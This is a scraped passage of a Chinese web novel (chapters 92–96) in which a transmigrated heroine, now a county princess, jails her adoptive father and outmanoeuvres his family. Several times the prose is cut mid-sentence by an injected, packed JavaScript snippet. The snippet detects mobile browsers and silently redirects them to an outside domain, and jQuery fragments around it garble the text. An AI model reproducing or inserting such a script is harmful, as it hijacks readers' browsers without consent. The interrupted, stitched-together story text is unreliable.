这还是一个养女状告养父的案子! 单独拎出来说,忘恩负义不孝不悌的名头砸下来,对喻初晴是极为不利的。 但—— “那养父,也忒不是人了!” “养了十七年的孩子,说赶走就赶走。赶走就罢了,还要派人追杀!” “这还不是最搞笑的——” 最搞笑的是! 那五箱账本,明晃晃地宣告世人:南阳侯府早在五年前就入不敷出,全靠当初年仅十二岁的养女桑初晴辛苦支撑,她苦苦煎熬了五年,也维持了偌大的南阳侯府五年的生活。 结果!!!!! “他们把这顶梁柱给赶走了!哈哈哈哈!” “就没见过这么离谱的事!见过剃头发的、见过剪指甲的、甚至见过刮腿毛的,就没见过一刀捅断自己的气管的!” “千古奇闻啊这是!” “南阳侯本来想薅县主的羊毛,以为县主一个小姑娘好欺负,以为县主有口难言。谁知道县主会留了那么多副本,给自己打了个漂亮的翻身仗!” “我可太稀罕永安县主了,人美、心善,聪慧过人,恩怨分明、嫉恶如仇!” 案子判下来,南阳侯父子二人都被抓住! 喻初晴带着家人,向太子行礼谢恩:“谢太子殿下为臣女主持公道!” 萧景明虚扶了一下,道:“初晴不必多礼,今日之事,孤也是被造谣之人,为自己也要这样做的。更何况,桑家父子所行,实在是令人发指!” 喻初晴浅浅一笑:“话虽如此,若是没有储君威仪震慑,南阳侯他们指不定会如何对待我呢!” 萧景明微微一顿。 尽管她做得礼数周全,他还是感觉到了她的客气与距离感。 她不愿做太子妃,便一直将彼此的距离拉得足够远! 他心里涌上了苦涩,却也不好说什么。 她是她的救命恩人,他总不能恩将仇报、强取豪夺吧? 喻初晴谢过太子,转身又朝主审和陪审官致谢:“多谢二位大人公正廉明,顶着烈日当空,为我正名!” “客气了客气了!”张太鑫摆摆手,道:“没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446418|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个案子,咱们可真不知道,南阳侯府父子真不是东西!你这么好的一个闺女,怎么能被他们**至此呢?” 乔松海也道:“知人知面不知心,南阳侯着实是豺狼之心!幸亏,县主你未雨绸缪啊!若非你有做副本的习惯,今日只怕是百口莫辩!” “是,万幸。”喻初晴还是浅淡地笑着,话到这里也该够了。 毕竟,大家都觉得她可怜呢,她笑得太得意,也不是个事儿,对吧? 有一说一,她在南阳侯府虽然是个扶贫办主任,好歹也是掌握经济命脉的,桑家人心里恨她、恼她,却真没敢对她如何。 她,没受多少苦! 反过来说,她愿意养着桑家一大家子,一开始是顾念他们对原主的生养之恩; 后来,便是因为她穿过来年仅十二,还是个小姑娘,脱离了侯府很多事办不了,她需要一个屋檐,暗中苟住、发展自己的事业。 钱财不露白的道理,她是懂的。 十几岁的小姑娘,如果没有个罩子,却拥有很多钱财,容易招来贼患! 只是,辛辛苦苦做充电宝、做血包,她不抱怨,就当各取所需。 却被背刺一刀,这个仇她要是吞下去了,都白瞎她是个穿越女! 案情结束,公审堂也就散了。 喻初晴等人也回了县主府。 “哈哈哈!” 喻今歌毕竟年纪小,喜怒形于色,笑得合不拢嘴:“我专门去看了,南阳侯挨了二百刑杖,皮开肉绽的哟!啧啧啧,上回他才挨了五十,不是才刚好吗?还有桑怀民那个坏东西,五十鞭,叫苦连天的!” 他极力向喻初晴邀功:“姐,我可是一直在旁边笑话他们,他们气**却拿我一点儿办法都没有。哈哈哈,太爽了!” 喻初晴没忍住笑。 这小弟,是懂**诛心的。 喻慕文伸长手臂圈住小弟的脖子,将人摁过来,道:“别胡乱给晴晴树敌!” “没事。”喻初晴淡笑:“其他事就算了,南阳侯府,已经不算什么对手了!” 喻昔词不免好奇:“后面,你打算怎么做?” 提到后续,喻初晴面无表情地道:“我要把南阳侯府的匾额,摘下来!” 面对众人齐刷刷的目光,她忽而又笑了下,道:“等着看吧,以我对他们的了解,他们不会安分的。” 第92章 精致利己主义者 喻初晴跟桑家人一起生活了五年,不能说完全了解这群人,也能说大差不差。 老大极度自大,老二极度自私且虚伪,老三极度没文化,老四呢,极度中二愚蠢—— 桑怀盛的中二,是属于学校里的校霸那种。 跟喻今歌的中二不是一回事,喻今歌仅仅是少年热血。 而桑雪…… 能为了侯府的“荣华富贵”,轻而易举地抛弃对自己好了十七年的父母兄弟,她真的会甘心待在太子府的后院里长草吗? 他们,一定会搞事的。 只要他们开动,她就立刻行动! 他们如果不着急开动,那她就想办法逼他们动,等着收网。 南阳侯府。 “夫人!侯爷和大公子都被抓进京兆府大牢了……” 京畿卫公审堂那边事情一落幕,桑文柏和桑怀民的长随便立即飞奔回府,告知这个消息。 “什么!”侯夫人差点晕过去! 紧接着,又听说刑杖和鞭笞的事,她感觉天旋地转,已经站不住了。 她下意识出声:“初晴呢,快把初晴叫过来,问问她这要怎么办?” 说完,所有人都愣住了。 夫人这是傻了不成? 遇到什么事就指望着大小姐! 可不就是曾经的大小姐,亲手把侯爷和大公子送进大牢里的吗? 还找大小姐问怎么办? 这…… 嬷嬷提醒:“夫人,大小姐都是县主了。” 不好说:大小姐都被你们赶走了! 侯夫人恍然想起来:“哦对。初晴已经不是我的女儿了!” 她又开始哭:“怎么办?现在怎么办?” 嬷嬷扶着她,提议:“夫人,先把二公子和四公子叫回来,好生商议这件事吧。家里总得有个男人做主!” “对对对!”侯夫人当即表示认同:“快把老二和老幺叫回来。尤其是老二,老二比较有主意!” 主要是,桑怀安出主意,一般比较温和。 连续几次,侯爷与老大老三,做的事都是引火烧身的。 也就老二比较理智,一直有劝阻他们不要那么做。 但凡其中一次听老二的,事情都不会弄到现在这个样子! 先回来的,是桑怀盛。 听说父亲和大哥都被判了牢狱之刑,不等侯夫人派人去找他,一收到消息他就回来了。 回来后怒骂连天。 不提。 半个时辰后,桑怀安也回来了。 他虽然不情愿回来,也深知,父兄入狱这么大的事,自己如果不管,以后在仕途上也很难立得住脚。 不孝不悌,在官场根本混不开! 他一进门,就听见桑怀盛怒吼:“桑初晴那个**,她到底想要怎么样!” 刚说完,就有人提醒他:“太子殿下说了,以后县主姓喻,不能再以桑姓冠名!不然要论罪的!” 不得不说,喻初晴设计的这一招,果然够狠。 圣旨赐名改的户籍,可以睁一只眼闭一只眼不管。 但,论起罪来非同小可! 至于搞不搞事,要看喻初晴的心情。 好比这次,就把两位主子送监牢去了! 桑怀盛憋红了脸,却还是不得不改口:“好!喻初晴!她怎么能如此小肚鸡肠,父亲和大哥不过就是跟她要一点银子,她又不是没有,为什么不给!不给银子便罢了,还要告父亲和大哥,把人送进牢里去!她可真是……自私自利,小肚鸡肠!” 这话,侯夫人都有点听不下去了:“你大哥一张口就要她给十八万两!而且,还说她偷了侯府的银子!我当时不就说了,初晴没有偷的。但你爹和你大哥他们说话做事,从来不肯听我的、信我的!人家初晴都是县主了,她是个完全没脾气的人吗?” 但想想,喻初晴这个人,很少生气。 她情绪稳定得可怕。 日常笑吟吟的,总是很温和的样子。 你永远不知道她心里到底在想什么,也不会知道,她什么时候记了你一笔! 听侯夫人这么说,桑怀盛噎住了:“可……也不能把父亲和大哥这么往死里整啊!” 有了儿子来支撑,侯夫人好像又找到了一点动力。 她看向刚从门外走进来的桑怀安,问:“安儿,你看你能不能去走动走动,打点一下,把你父亲和大哥捞出来?” “母亲。”桑怀安认真反问:“你觉得,有可能吗?” 但凡动动脑子就知道,不可能! 太子殿下亲自督案,并且落下了判罚。 怎么救?!!! 他说出最实际的一句话:“我和四弟,现在若是轻举妄动,极大的可能,我翰林院的位置就没有了!” 转头,他警告性地看向桑怀盛:“四弟,你千万不要冒进,闹起来,说不准也会被国子监除名!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446419|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不得不说,他的确有点脑子:“父亲大哥做的事毕竟是太过分了,彻底惹恼了初晴。初晴以前没跟他们计较过,但她心里都记着呢!说不定就等着我们自投罗网,再把我们一并给拖进坑里埋杀!” 事实:喻初晴的确是这么想的! 桑怀盛听前面还不服,想说:二哥你也太自私,只考虑自己翰林院的位置! 但,听到后面,他自己也发懵了。 “想要前程,就不管父亲大哥了吗?”他茫然发问。 四兄弟最不成器的桑怀志,已经是个残废了。 最**的桑怀盛,也绝不是个能担事儿的。 可,侯夫人把他们叫回来是出主意的,而不是:“安儿,难不成你的意思是,不管他们了?不救你父亲大哥了?” “怎么救?”桑怀安问得很直白:“咱们侯府还有银子吗?别说把人捞出来是完全不可能——太子殿下盯着的,他不会容许!只说,想要打通关节让他们在里面过得好一些,这些买路财全部走一遍,没个几百上千两,做得到吗?公中还拿得出这些钱吗!” 侯夫人气息一窒。 拿不出! 现在吃饭,都是吃的她的嫁妆! 照这么吃下去,不上三年,她的嫁妆也要被吃空! 桑怀安又看向桑怀盛:“四弟,我们俩明哲保身,稳住自己的前途,好挣一份家业打点父兄……你觉得是这样好,还是把我们全都搭进去,一家人齐齐整整一无所有,来得更好?” 他历来是个精致利己主义者。 但不得不说,从理智分析,他这样的确没错。 只是,从情感上看,一般人接受不了! 桑怀盛看着他,还是踌躇:“可是,你爹你哥重伤入狱,你什么都不管、什么都不做,还算个人吗!” “不是什么都不管!”桑怀安梗着脖子,不愿意跟他说下去了。 他转头对侯夫人道:“母亲,咱们尽可能想办法打点打点,我去跟初晴求求情,让她到此为止。免得……有心人想要父亲的命,父亲大哥在牢里也活不下来!” 不得不说,他的思路是正确的。 侯夫人自己没主意,儿子出了主意,她当然是听的:“好,那听你的来。” 事情暂时谈妥。 桑怀安便道:“我去县主府,跟初晴谈谈。” 可**的是—— 他前脚刚出了侯府,桑怀盛后脚就去了老夫人的院子! 第93章 这福气给你,你要不要啊 听说儿子和长孙出事后,桑老夫人又晕倒了一次。 这会儿刚醒过来,嬷嬷正在给她喂药。 老太太长吁短叹的:“唉,我这药都服几年了,身子骨一点儿起色也没有。” 嬷嬷不敢说话。 一直治、一直气。 大罗金仙都救不了! “祖母。”桑怀盛走过去,站在床榻前。 他被伺候惯了,完全没有要上前给祖母伺候汤药的自觉,站得笔挺挺的,道:“您也听说了父亲和大哥的事了吧?” 嬷嬷有些着急:“四少爷……” 她使劲儿给他眨眼,道:“老夫人晕倒了,刚醒来。” 言外之意:你就别再提这件事刺激老人家了,本来老夫人这五年来身体就一直不好,近来因为各种事,更是日益孱弱。 这要是一时想不开,搞不好命都要没了! 但,桑怀盛显然是没有体恤人的敏感心思,自顾自地道:“母亲没有主意,二哥只知道妥协,还想找喻初晴求情!” 他还是第一次说对了喻初晴的名字。 但他对喻初晴的态度,依旧如往:“喻初晴那个**,就是她把父亲和大哥送进京兆府大牢,张太鑫、甚至那个乔松海,都是她的帮凶!” “如今咱们胳膊拧不过大腿,这也就不说了。” “二哥天真,想让喻初晴放过我们,不要落井下石!” “但我认为,救父亲和大哥势在必行!” 桑老夫人当然想要把自己的儿子和长孙救出来。 没有他们,这个家就彻底散了。 但问题来了:“那你认为,要怎么救?” 老太太的声音,已经没什么中气。 听着就有日薄西山的暮霭沉沉之感,进气多、出气少。 桑怀盛却没听出来,依旧按着自己的节奏说下去:“祖母,您现在身子不太好,都是喻初晴把你给气的!你且听孙儿的去做,如此如此……” 且说,桑怀安这边。 他并不知晓桑怀盛在干什么,出了侯府的门后,便去永安县主府。 奈何到了门口,门房看见他就一脸晦气,根本不肯通传。 也是巧合,喻初晴正好在这时候准备出门,被桑怀安碰了个正着! “初晴!” 门房回身,连忙行礼:“县主。这位非要进府见您……” 他想要禀报,喻初晴却摆摆手:“你先去做事吧。” 不用开口,她也知道桑怀安是来干什么的! “初晴!”桑怀安见她态度还算好,似乎有要跟自己谈下去的意思,赶忙跟着她步下门前的台阶,急切地说道:“你给我一点时间,我跟你说几句话!” 喻初晴站在马车前,不等对方说出来意,直接说:“太子殿下有令,替南阳侯父子求情者,随南阳侯一起,流放三千里!” 桑怀安顿时哑然。 太直接了! 这话一出,立即堵**求情的路子。 但他的确不是为了这个来的,赶忙道:“我没这么想。只是,大牢里,父亲与大哥都重伤在身,我们需要打点一下,送点药进去,也想让他们在里面好过一些……” 话没说完,喻初晴瞪着一双眼睛,满眼都是不可思议地问他:“你不会是想让我去给他们打点一下,让他们好受一点吧?你脑子没摔坏吧!” “不是这个意思,我是想……”发生了这些事,桑怀安其实也已经知晓喻初晴对南阳侯府的怨恨了! 当然—— 他认为她被他们伤透了心,事实喻初晴并没有伤心:她对南阳侯府任何一个人都没有实际感情,不可能被他们所伤。 她只是,记仇! 喻初晴还是没给他说完话:“你不会想找我借钱吧?让我借钱给你,去让我的仇人过得舒服一些。这福气给你,你要不要啊?” 不管说什么,都会被她往死里怼,桑怀安差点想放弃。 但显然是不能放弃的。 他也不拐弯抹角了,道:“我只是想让你不要落井下石,报复也够了,后面就让父亲和大哥自生自灭吧!可以吗?” 只要喻初晴不出手,其他人出手的几率不高。 至少桑文柏和桑怀民在里面,能安生养伤就行。 “原来如此!”喻初晴挑眉,很“好脾气”地说:“可我没想落井下石呀!你放心,我不会花钱去打点狱卒,给你爹和你大哥一点颜色瞧瞧的。毕竟,他们现在的惨状,我已经很快活了!” 因为,她想要的不是给他们颜色瞧瞧,而是—— 想要他们死! 南阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446420|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侯且不替,就桑怀民那个废物,他活着一天,就是对连玉的威胁! 听她这么说,桑怀安松了一口气:“那就好。” 顿了顿,他又道:“父亲和大哥的做法,的确太过分了。但初晴,二哥从未害过你,你相信我的话吗?” 话是这么说,他心里其实恨透喻初晴了——一点面子都不给他! 他从未对她下过手,她怎么能对他这么无情? “哦。”喻初晴扯唇一笑。 以目前而言,桑怀安只是没害成她,而不是从未害过??? 他太虚伪,口蜜腹剑。 嘴上讨好着她,心里不知道怎么骂她呢! 她笑问:“给南阳侯提议,说宁王想要我做续弦,是你牵线的吧?” 桑怀安心口一惊:“你怎么知道!” 喻初晴挑眉。 石锤了! 她面容骤然冷沉下来:“桑怀安,你是个有脑子的人。我也相信你说的,你不是想害我。你只是想利用我,铺就你的青云路!至于当你的垫脚石、在你脚底板下的我会不会死,你完全不考虑!” 有时候,没想要她的命,比要她的命还恶心! 南阳侯府一群人都是无意识在吸她的血,自私毫无自知。 只有桑怀安,是有预谋地吸血! “我没有……”桑怀安想否认。 喻初晴却只是给了他一个冰冷的眼神:“奉劝一句,机关算尽太聪明,反而误了卿卿性命!” 不是忠言相告。 而是谶言—— 她很清楚:桑怀安是听不进去的! 十九年来的习惯与性格,哪有这么容易改过来? 丢下这话,她扭头上了马车。 桑怀安心里气得很,却实在拿她没办法。 第一,他不想弄死她,只想得到功名利禄。 第二,他是兄弟几个之中,武力值最弱的,不要说她身边有四大侍婢,就是她本人,他也打不过! 最后,他历来都是愿意忍气吞声,谋求更大利益。 所以,这口气他忍了,转头打算回去。 转念想了想,他又不想回侯府看哭哭啼啼的娘、炸毛无脑的弟弟,干脆又回翰林院去了。 自然就不知道家里又有人拖他的后退了! 第94章 一个朋友圈玩不出两种人 济春堂。 喻初晴经营了很多营生,都是暗地里做的,外界非要查她的背景,最多只能查到济春堂。 对外,她拥有济春堂一半份额。 她会点医术的事,也是经历过的人才知道,并不宣扬。 总而言之,喻初晴行事风格非常低调,不喜欢出风头。 当然,也是南阳侯府里的人平时根本不关心她,才导致对她毫无了解! 譬如,老夫人病了这几年用的药,明着是有府医看,实际上都经过她的过目。偶尔开药都是她做的,药也都是在济春堂抓的。 这些事,府医并没有冒领功劳,她也没让府医隐瞒。 若府里的人多关心一些老夫人,或者多关心一些她,就会发现这件事。 但他们不但愚蠢,还自私! “县主来了!”药铺内的伙计都跟她正常打招呼,不需要行礼。 喻初晴颔首,直接进了内堂。 济春堂的隔壁,便是她的“集团总部”! 在内堂整面墙的药柜上找到机关,拧开。 药柜便成了个旋转门。 随着她进入,另一边一模一样的药柜,转移到了这边来。 钱利来已经等在了这边。 “县主!”书生打扮、长了一张少年清秀脸的钱大掌柜,将最新扩大的商业版图给她汇报了一遍。 喻初晴亲手给他斟茶,安静地听他讲完,才道:“今年年底的营收,减除所有成本、扣除完合伙人的分账之后,拿出一成给你做年终奖。” 年终奖这个理念,是她带给钱利来的。 但,听到一成,钱利来还是震惊了:“县主???” 这是要从她的利润里,抽一成出来给他! “别慌。”喻初晴淡笑,道:“等解决完南阳侯府事后,我要离开帝京一段时间,到时候需要辛苦你做很多事。几年来你兢兢业业,如今又是扩大经营的时候,也该给你应得的奖赏了。” 钱利来还是有点难以置信:“可……这也太多了!” 他不解地问:“县主,你莫不是不晓得,按今年这趋势发展下去,年底总利润会有多惊人吧?” 喻初晴还是面带笑容,不以为意地道:“钱财乃身外之物,我享受挣钱的乐趣,但没必要被财帛捆绑。我喜欢掌控金钱,不喜欢被金钱掌控!” 她感慨一叹,道:“而且,只有我手底下的人都吃饱了、吃肥了,才更有力气给我办事。你得到更多,才会更努力,争取明年赚更多!” “县主难道就不怕……”钱利来将多年的心里疑惑问了出来:“手底下的人吃空你的么?” “倒也不是不怕。”喻初晴失笑:“只不过,倘使真那样,也只能怪我眼瞎。能追回就追回,追不回,就检讨一下自己的原因,总结经验,下次不要踩同一个坑了!” 钱利来哑然。 转念一想:下面的人吃她?就凭旗下分号不管在哪一环节被卡了,她都能立刻走动关系打通关节的,谁敢吃她! 后面又花了大半个时辰,谈完生意上的事,钱利来离去。 喻初晴也出来,在大门口上马车:“回府。” 覆雨将一封信递给她:“主子,是王爷的家书。倒了好几手,辗转送来的。” 喻初晴接过信。 低头看去,信封上写着:也无风雨,也无晴。 这是萧风岚的习惯,重点在后面“也无晴”三个字,表示她不在他身边。 “处境危险,还写什么信……” 嘴里这么念叨,但她唇角还是有压不住的翘起。 很淡的喜悦,却真实存在,难以忽视。 合欢说道:“王爷若是不惦记县主,县主又不乐意了。” “若如此,也就该分了呗。”喻初晴捏着信上了马车,坐着浏览了一遍。 拉拉杂杂写了三页纸,都是写如何如何想她,对他的现状,只字不提! 她就不开心了。 萧风岚那个狗币,历来是报喜不报忧,没事的往严重的说,有事就往轻的说。 平日擦破点皮,都要给她看,恨不能叫她给呼呼。 但有一次,骑马摔到腿骨折,他却愣是一声不吭,还想瞒着她,让手底下的人骗她说去出京了。 虽然知晓这是因为他不想让她担心,她还是很不高兴! 瞧见自家主子脸色黑黑,合欢给她倒了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446421|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杯凉水:“县主,你喝点水。” 喻初晴喝了一口,见合欢木棉都担忧地看着自己,无奈地道:“我没事。” 担心归担心,但她除了相信萧风岚能安然无恙,也没有其他办法。 “为尚未发生的事而悲伤,不值得。”喻初晴拍了拍两人的手背,道:“我这人,不喜欢贷款,只愿意招商引资!” 招商引资,是转嫁风险。 贷款,要自己全部承担风险! 所以,她不会贷款悲伤,只是担忧那么一会儿,她便决定:“不行,我要速战速决!” 原本发展自己的事,守株待兔式的顺手解决南阳侯府,完全可以。 但现在—— 她想离开帝京! 回祖籍的路上,会经过南陵一带,到时候再看看情况,看有没有能帮得上萧风岚的地方! 她便吩咐道:“走,去拜访林大学士!” 先前,南阳侯想让桑怀安走动林大学士,把桑怀盛送进国子监,桑怀安拒绝了。 虽说阴差阳错,桑怀盛还是进了国子监。 但也无妨,狗改不了吃屎,桑怀盛天天窝在家里,还搞不出惊天动地的事儿来呢! 林大学士府,跟梁祭酒的府邸有点近。 两家的后门对在一起,仅隔着一条胡同。 所以两个小老儿日常走动得很近,从后门出来,约着喝点小酒啥的。 林大学士亲自到后门来迎她。 “你说你,你是见不得人还是怎么的,每次都要从后门来!我家前门是辱没了你怎么的?” 这位翰林院大学士是个很严肃的人,跟梁实那种老顽童,完全两类人。 但,一个朋友圈玩不出两种人。 性格迥异的俩老头,兴趣爱好竟然都差不多,连日常喜欢吃甜食,都走一路上去了! “覆雨,你提着这一只食盒去梁府,送给老师。” 喻初晴没急着回话,吩咐覆雨离去。 然后提着另一只食盒,对林畅摇了摇,微笑着道:“八珍糕,您的最爱。还要不要了?” “哼!”林大学士捋着胡须,转身往府内走,宽大儒袍的袖子往身后一背。 第95章 人怕出名猪怕壮 小老儿傲娇地道:“你都多久没来看老夫了?上回到了梁府,也不顺路过来瞧瞧我**没!现在拿着点吃食就过来了,无事献殷勤,非奸即盗!” “是是是。可不是无事不登三宝殿么!”喻初晴跟在他后面,好脾气地哄着。 话是这么说,林畅不还是每次一听说她从后门来了,就立刻亲自出来相迎? 林畅回头睨她:“姓梁的老小子,非要拿着那《四君子图》来我这里现眼,烦**你知道吧?” “没事。”喻初晴把食盒交给合欢,接过木棉手里的卷轴:“梁祭酒有他的《四君子图》,林先生有你的《山居秋暝图》!林先生不是一向不那么喜欢花花草草,反而喜欢山居田园风格么?喏,我给你找到了!” 林畅一顿,迅速转身过来,将她手里的卷轴接过去。 打开一看,顿时面露喜色,每一根花白胡须似乎都翘起来了! “哈哈哈!四君子虽然好,但梅兰竹菊都被文人墨客画滥了!还是这等山居图深得我心啊!你看看这景儿、这氛围、这笔法……” 说白了他就是吃醋,送了梁实东西没送他,关键梁实还故意拿来嘚瑟、膈应他。 这下,哄好了! 不多时,进入水榭内。 “来人,快送冰来!”林畅人还没过来呢,便喊:“另外,冰镇西瓜、冰镇酸梅汤、冰镇鸭梨,都给送过来!” 坐下后,又在抱怨:“今年可真是热啊!什么时候才能入秋啊,老夫着实想看这画中的山居秋暝!” 这种问题,喻初晴很聪明地避开不谈。 不然,等入秋后就可能强势邀请她去哪儿赏景了! 她并没有拐弯抹角,直截了当地道:“林先生,我最近的事,想来您也听说了不少吧?” “你还说呢!”林畅命身后的长随把画接了过去,点了点她的额头,道:“你这丫头,发生这些事,怎么不命人过来找我们俩老头儿去帮你撑场子?你不开口,我们也不敢去呀!” “那不是,杀鸡用不上牛刀么?”喻初晴淡笑:“还是那句老话,但凡我能解决的事,都不想暴露跟您的关系,要低调做人!” 人怕出名猪怕壮。 木秀于林风必摧之! 太优秀,容易惹人眼红。 若让外人都知道,她手里拥有什么人脉,很容易成为众矢之的,弄不好她就要被群起攻之。 世人逐利,都是为了争夺有限的资源。 她占了太多资源,挡了别人的路、抢了别人的利益,再高调行事,很容易引来杀身之祸! “嗐,老头子说不过你!”林畅和梁实都是两朝老臣了,焉能不知这个道理? 所以,每次喻初晴来都从后门进,他觉得太委屈她了,就会亲自去迎。 他问:“那你今日,又送吃的、又是画儿,是干什么来了?” 喻初晴微笑:“初晴有个不情之请!” 林畅眯起眼睛:“上回你说这句话,是为了你二哥……哦不,南阳侯家的老二,为他进翰林院的事。这回,是为你亲哥?总不能是喻慕文吧?但今年秋试还没到,明年春闱更早着呢!” “不是。”喻初晴露出一丝不好意思,为难地道:“当初请您帮忙夸两句桑怀安,好让他顺利进翰林院。他也的确有点脑子,考试不说特别出彩,也还能看,因此我才敢开口的。但——” 一个转折,她叹息一声,道:“不知林先生能不能理解,一片真心喂了狗的感觉。” 外界都说,林大学士直来直往的臭脾气,在朝堂之上跟政敌一言不合,就能从朝堂吵下来、一路吵到人家府邸门外、一直进人家家里去,非要吵到赢! 但他们不知,面对喻初晴,他的脾气一点儿都不臭! 他跟梁实昨日还在一块儿喝酒赏字画来着,岂能不知道南阳侯闹的那点事? 一点就通:“你的意思是……想让桑怀安掉下去?” “若先生为难,初晴便不强求。”喻初晴抿了抿唇,道:“只是他做事太恶心人了,满心的算计,完全不懂礼尚往来。若有可能,我还是更希望他回到他原来的位置上去!” 若非她拜了梁实为老师,而梁实时常带她过来大学士府,之后她一直维系好与林畅的忘年交感情,她也不敢直接提这种要求—— 先求着人家帮把人送进翰林院,转头,又要把这个人从翰林院踢走? 的确太为难人了! “老夫明白,你绝不是小家子气的人。”林畅叹息:“若非真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446422|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把你气狠了,你不至于要把自己送出的这点恩惠收回。” 瞧,在他眼里,弄个人进翰林院,就是一点恩惠! 对喻初晴来说,也的确是举手之劳、顺手推舟之功,没花费多少力气。 但实际上,对桑怀安来说,让他少走了多少弯路啊。 “先生不必为难。”喻初晴很体恤地说道:“若事情难办的话,就算了。” “不为难。”林畅把手里的酸梅汤碗放下,捋着胡须认真思忖了半天,才说:“要很快么?” 喻初晴颔首:“越快越好!” 林畅点点头,笑了:“行,也不难做。当初是看桑怀安这小子有两分才学,老夫才会答应你帮他一把的。但之后,他在翰林院可是犯了不少错。都是看在你的面子上,老夫睁一只眼闭一只眼!既然不需要看你面子了,那他那点才智还真就不算什么!国子监有的是人才,想顶替掉他的位置!” 在大学士府坐了约摸半个时辰,喻初晴婉拒了林畅留晚饭的好意,表示今日兄弟们都聚在家里,等她回去用膳。 林畅也就不留她了,只道:“这点小事儿,包在老夫身上。你等好消息就是了!” “多谢先生!”喻初晴朝他行了一礼,又道:“先生不必送我了,让手底下人带我出去就成。” 但林畅还是坚持送她出后门。 看着她的马车离去,捋着胡子感慨:“南阳侯真是个猪脑子,把金山银山往外拱,还赶尽杀绝!初晴就亏在是个女娇娥,她若是男儿郎,进了朝堂必定是大有可为!若初晴是老夫的亲孙女儿,那老夫不知道要有多嘚瑟!尤其,要气死老梁那个糟老头!” 管家微笑:“县主的确是凤姿天人,只不知,将来便宜了谁家的儿郎啊!” 提到这个,林畅不高兴了。 他已经有了嫁孙女儿的忧愁! “不行,下次老夫得叮咛她,莫要轻易许婚。不是什么乱七八糟的男人,都能配上初晴的!” 转而又甩袖埋怨自己的孙子辈:“嗐,家里这一个两个,空知道读书,一点儿也不争气!” 喻初晴回到了永安县主府这条街。 刚拐角,车夫下意识停驻,回头道:“县主?咱府门外**了好多人!” 第96章 哦,换战术了! 车夫很警觉,把车停下了。 合欢撩开帘子一看,见到府门外人山人海,立即开口:“调头!我们走侧门!” 但,已经有围观群众看见这边的马车,高呼:“永安县主回来了!” “县主?”木棉有些紧张:“又是南阳侯府的人**儿吧?他们有完没完啊,还来?” 旋即又听到有人高喊:“县主,南阳侯府老夫人来了,肯定是又要为难你。你赶紧走呀!” 围观群众虽然多,但不少都是得过喻初晴给的好处。 很多时候,好处不需要给多少,关键是要送人家心坎上。 她会做人、会办事,很得人心。 喻初晴本人十分冷静,有条不紊地下令:“腾云,拿我令牌去五城兵马司,请赵大人;随后去京兆府,请张大人。覆雨,你去给太子殿下送个信,劳烦他派人过来,帮忙镇场子!木棉,你从侧门进府,跟我爹他们说,不必出来,我自己能行!” 桑雪一直窝在太子府不动,没机会作死。 她就把太子殿下从东宫请出来,看看桑雪有没有可能干点啥! “是!” 两名武婢迅速离去。 喻初晴又道:“走吧,是时候会一会这位老太太了!” 她正愁不能尽快摘掉南阳侯府的匾额呢,这就送货上门了! 在原地下了马车,她步行过去。 人群给她让出一条道,她也就看见了那跪在县主府门外的桑老夫人! 若只是来**,也便罢了。 这老太太,是跪着的! 她不想爆粗,却实在忍不住:艹! 道德**至高地,就是这一招了。 但她不方! 她悠然说道:“桑老夫人,这里是永安县主府门口,不是南阳侯府的祠堂,也并非菩萨庙。您跪在这儿,是拜神呢、还是求雨?” 喜欢跪着? 好,那就跪久一点、好好跪! 